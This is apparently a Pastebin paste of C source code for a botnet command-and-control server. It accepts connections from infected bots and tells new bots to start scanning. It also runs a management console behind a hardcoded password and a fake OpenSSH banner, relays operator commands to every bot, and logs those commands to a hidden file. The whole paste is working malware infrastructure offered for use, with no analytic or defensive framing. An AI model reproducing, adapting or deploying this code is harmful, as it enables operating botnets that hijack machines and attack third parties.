Zekahs

sinden server side

Aug 4th, 2017
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.43 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17.  
  18. #define MY_MGM_PASS "-bypass4ble"
  19. #define MY_MGM_PORT 10
  20.  
  21. #define MAXFDS 1000000
  22.  
  23. struct clientdata_t {
  24. uint32_t ip;
  25. char connected;
  26. } clients[MAXFDS];
  27. struct telnetdata_t {
  28. int connected;
  29. } managements[MAXFDS];
  30. struct args {
  31. int sock;
  32. struct sockaddr_in cli_addr;
  33. };
  34. static volatile FILE *fileFD;
  35. static volatile int epollFD = 0;
  36. static volatile int listenFD = 0;
  37. static volatile int managesConnected = 0;
  38. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  39. {
  40. int total = 0, got = 1;
  41. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  42. return got;
  43. }
  44.  
  45. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  46. {
  47. int i;
  48. int begin = 0;
  49. int end = strlen(str) - 1;
  50. while (isspace(str[begin])) begin++;
  51. while ((end >= begin) && isspace(str[end])) end--;
  52. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  53. str[i - begin] = '\0';
  54. }
  55.  
  56.  
  57. static int make_socket_non_blocking (int sfd)
  58. { // man fcntl
  59. int flags, s;
  60. flags = fcntl (sfd, F_GETFL, 0);
  61. if (flags == -1)
  62. {
  63. perror ("fcntl");
  64. return -1;
  65. }
  66. flags |= O_NONBLOCK;
  67. /*
  68. F_SETFL (int)
  69. Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  70. ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  71. */
  72. s = fcntl (sfd, F_SETFL, flags);
  73. if (s == -1)
  74. {
  75. perror ("fcntl");
  76. return -1;
  77. }
  78. return 0;
  79. }
  80.  
  81.  
  82. static int create_and_bind (char *port)
  83. {
  84. struct addrinfo hints;
  85. struct addrinfo *result, *rp;
  86. int s, sfd;
  87. memset (&hints, 0, sizeof (struct addrinfo));
  88. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  89. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  90. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  91. s = getaddrinfo (NULL, port, &hints, &result);
  92. if (s != 0)
  93. {
  94. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  95. return -1;
  96. }
  97. for (rp = result; rp != NULL; rp = rp->ai_next)
  98. {
  99. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  100. if (sfd == -1) continue;
  101. int yes = 1;
  102. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  103. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  104. if (s == 0)
  105. {
  106. break;
  107. }
  108. close (sfd);
  109. }
  110. if (rp == NULL)
  111. {
  112. fprintf (stderr, "Could not bind\n");
  113. return -1;
  114. }
  115. freeaddrinfo (result);
  116. return sfd;
  117. }
  118. void broadcast(char *msg, int us)
  119. {
  120. int sendMGM = 1;
  121. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  122. int i;
  123. for(i = 0; i < MAXFDS; i++)
  124. {
  125. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  126. if(sendMGM && managements[i].connected)
  127. {
  128. send(i, "\n", 0, MSG_NOSIGNAL);
  129. }
  130. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  131. if(sendMGM && managements[i].connected) {
  132. send(i, "\n", 0, MSG_NOSIGNAL);
  133. } else send(i, "\n", 1, MSG_NOSIGNAL);
  134. }
  135. }
  136.  
  137. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  138. {
  139. struct epoll_event event;
  140. struct epoll_event *events;
  141. int s;
  142. events = calloc (MAXFDS, sizeof event);
  143. while (1)
  144. {
  145. int n, i;
  146. n = epoll_wait (epollFD, events, MAXFDS, -1);
  147. for (i = 0; i < n; i++)
  148. {
  149. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  150. {
  151. clients[events[i].data.fd].connected = 0;
  152. close(events[i].data.fd);
  153. continue;
  154. }
  155. else if (listenFD == events[i].data.fd)
  156. {
  157. while (1)
  158. {
  159. struct sockaddr in_addr;
  160. socklen_t in_len;
  161. int infd, ipIndex;
  162.  
  163. in_len = sizeof in_addr;
  164. infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  165. if (infd == -1)
  166. {
  167. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  168. else
  169. {
  170. perror ("accept");
  171. break;
  172. }
  173. }
  174.  
  175. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  176.  
  177. int dup = 0;
  178. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  179. {
  180. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  181.  
  182. if(clients[ipIndex].ip == clients[infd].ip)
  183. {
  184. dup = 1;
  185. break;
  186. }
  187. }
  188.  
  189. if(dup)
  190. {
  191. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  192. close(infd);
  193. continue;
  194. }
  195.  
  196. s = make_socket_non_blocking (infd);
  197. if (s == -1) { close(infd); break; }
  198.  
  199. event.data.fd = infd;
  200. event.events = EPOLLIN | EPOLLET;
  201. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  202. if (s == -1)
  203. {
  204. perror ("epoll_ctl");
  205. close(infd);
  206. break;
  207. }
  208.  
  209. clients[infd].connected = 1;
  210. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  211. }
  212. continue;
  213. }
  214. else
  215. {
  216. int thefd = events[i].data.fd;
  217. struct clientdata_t *client = &(clients[thefd]);
  218. int done = 0;
  219. client->connected = 1;
  220. while (1)
  221. {
  222. ssize_t count;
  223. char buf[2048];
  224. memset(buf, 0, sizeof buf);
  225.  
  226. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  227. {
  228. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  229. trim(buf);
  230. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  231. {
  232. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  233. continue;
  234. }
  235. if(strcmp(buf, "PONG") == 0)
  236. {
  237. //should really add some checking or something but meh
  238. continue;
  239. }
  240.  
  241. printf("buf: \"%s\"\n", buf);
  242. }
  243.  
  244. if (count == -1)
  245. {
  246. if (errno != EAGAIN)
  247. {
  248. done = 1;
  249. }
  250. break;
  251. }
  252. else if (count == 0)
  253. {
  254. done = 1;
  255. break;
  256. }
  257. }
  258.  
  259. if (done)
  260. {
  261. client->connected = 0;
  262. close(thefd);
  263. }
  264. }
  265. }
  266. }
  267. }
  268.  
  269. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  270. {
  271. int i = 0, total = 0;
  272. for(i = 0; i < MAXFDS; i++)
  273. {
  274. if(clients[i].connected) {
  275. total++;
  276. } else{
  277. continue;
  278. }
  279. }
  280.  
  281. return total;
  282. }
  283.  
  284. static int *fdopen_pids;
  285.  
  286. int fdpopen(unsigned char *program, register unsigned char *type)
  287. {
  288. register int iop;
  289. int pdes[2], fds, pid;
  290.  
  291. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  292.  
  293. if (pipe(pdes) < 0) return -1;
  294. if (fdopen_pids == NULL) {
  295. if ((fds = getdtablesize()) <= 0) return -1;
  296. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  297. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  298. }
  299.  
  300. switch (pid = vfork())
  301. {
  302. case -1:
  303. close(pdes[0]);
  304. close(pdes[1]);
  305. return -1;
  306. case 0:
  307. if (*type == 'r') {
  308. if (pdes[1] != 1) {
  309. dup2(pdes[1], 1);
  310. close(pdes[1]);
  311. }
  312. close(pdes[0]);
  313. } else {
  314. if (pdes[0] != 0) {
  315. (void) dup2(pdes[0], 0);
  316. (void) close(pdes[0]);
  317. }
  318. (void) close(pdes[1]);
  319. }
  320. execl("/bin/sh", "sh", "-c", program, NULL);
  321. _exit(127);
  322. }
  323. if (*type == 'r') {
  324. iop = pdes[0];
  325. (void) close(pdes[1]);
  326. } else {
  327. iop = pdes[1];
  328. (void) close(pdes[0]);
  329. }
  330. fdopen_pids[iop] = pid;
  331. return (iop);
  332. }
  333.  
  334. int fdpclose(int iop)
  335. {
  336. register int fdes;
  337. sigset_t omask, nmask;
  338. int pstat;
  339. register int pid;
  340.  
  341. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  342. (void) close(iop);
  343. sigemptyset(&nmask);
  344. sigaddset(&nmask, SIGINT);
  345. sigaddset(&nmask, SIGQUIT);
  346. sigaddset(&nmask, SIGHUP);
  347. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  348. do {
  349. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  350. } while (pid == -1 && errno == EINTR);
  351. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  352. fdopen_pids[fdes] = 0;
  353. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  354. }
  355.  
  356. void *telnetWorker(void *arguments)
  357. {
  358. struct args *argument = arguments;
  359. int thefd = argument->sock;
  360. managesConnected++;
  361. pthread_t title;
  362. char buf[2048];
  363.  
  364. memset(buf, 0, sizeof buf);
  365. if(send(thefd, "SSH-2.0-OpenSSH_5.3\r\n", 21, MSG_NOSIGNAL) == -1) goto end;
  366. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  367. trim(buf);
  368. if(strcmp(buf, MY_MGM_PASS) != 0) goto end;
  369. memset(buf, 0, 2048);
  370. if(send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
  371. if(send(thefd, "[+] - ...\x1b[31mWelcome To The Void\x1b[37m... - [+]\r\n", 50, MSG_NOSIGNAL) == -1) goto end;
  372.  
  373. while(fdgets(buf, sizeof buf, thefd) > 0)
  374. {
  375. trim(buf);
  376. if(strlen(buf) == 0) continue;
  377. send(thefd, "", 0, MSG_NOSIGNAL);
  378. if(strncmp(buf, ".BOTS", 5) == 0){
  379. char buffer[2048];
  380. memset(buffer, 0, 2048);
  381. sprintf(buffer, "[+] - Bot Count: [\x1b[31m %d \x1b[37m]\r\n", clientsConnected());
  382. send(thefd, buffer, strlen(buffer), MSG_NOSIGNAL);
  383. memset(buf, 0, 2048);
  384. continue;
  385. }
  386. if(strncmp(buf, ".KILL", 5) == 0){
  387. char buffer[2048];
  388. memset(buffer, 0, 2048);
  389. sprintf(buffer, "!* KILLATTK");
  390. broadcast(buffer, thefd);
  391. continue;
  392. }
  393. //thx spencer pusC fgt
  394. FILE *logFile;
  395. logFile = fopen("/tmp/.log", "a");
  396. fprintf(logFile, "%s\n", buf);
  397. fclose(logFile);
  398. broadcast(buf, thefd);
  399. memset(buf, 0, 2048);
  400. }
  401. end:
  402. managements[thefd].connected = 0;
  403. close(thefd);
  404. managesConnected--;
  405. }
  406.  
  407. void *telnetListener(int port)
  408. {
  409. int sockfd;
  410. struct args arguments;
  411. socklen_t clilen;
  412. struct sockaddr_in serv_addr;
  413. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  414. if (sockfd < 0) perror("ERROR opening socket");
  415. bzero((char *) &serv_addr, sizeof(serv_addr));
  416. serv_addr.sin_family = AF_INET;
  417. serv_addr.sin_addr.s_addr = INADDR_ANY;
  418. serv_addr.sin_port = htons(port);
  419. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  420. listen(sockfd,5);
  421. clilen = sizeof(arguments.cli_addr);
  422. while(1)
  423. {
  424. arguments.sock = accept(sockfd, (struct sockaddr *)&arguments.cli_addr, &clilen);
  425. if (arguments.sock < 0) perror("ERROR on accept");
  426. pthread_t thread;
  427. pthread_create( &thread, NULL, telnetWorker, &arguments);
  428. }
  429. }
  430.  
  431. int main(int argc, char *argv[])
  432. {
  433. signal(SIGPIPE, SIG_IGN);
  434. int s, threads, port;
  435. struct epoll_event event;
  436. port = atoi(argv[3]);
  437. if (argc != 4)
  438. {
  439. fprintf (stderr, "IDIOT PROOF!\n");
  440. exit (EXIT_FAILURE);
  441. }
  442. fileFD = NULL;
  443. threads = atoi(argv[2]);
  444.  
  445. listenFD = create_and_bind (argv[1]);
  446. if (listenFD == -1) abort ();
  447.  
  448. s = make_socket_non_blocking (listenFD);
  449. if (s == -1) abort ();
  450.  
  451. s = listen (listenFD, SOMAXCONN);
  452. if (s == -1)
  453. {
  454. perror ("listen");
  455. abort ();
  456. }
  457. epollFD = epoll_create1 (0);
  458. if (epollFD == -1)
  459. {
  460. perror ("epoll_create");
  461. abort ();
  462. }
  463.  
  464. event.data.fd = listenFD;
  465. event.events = EPOLLIN | EPOLLET;
  466. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  467. if (s == -1)
  468. {
  469. perror ("epoll_ctl");
  470. abort ();
  471. }
  472. pthread_t thread[threads + 2];
  473. while(threads--)
  474. {
  475. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  476. }
  477. pthread_create(&thread[0], NULL, &telnetListener, port);
  478.  
  479. while(1)
  480. {
  481. broadcast("PING", -1);
  482.  
  483. sleep(60);
  484. }
  485.  
  486.  
  487. close (listenFD);
  488.  
  489. return EXIT_SUCCESS;
  490. }
Advertisement
Add Comment
Please, Sign In to add comment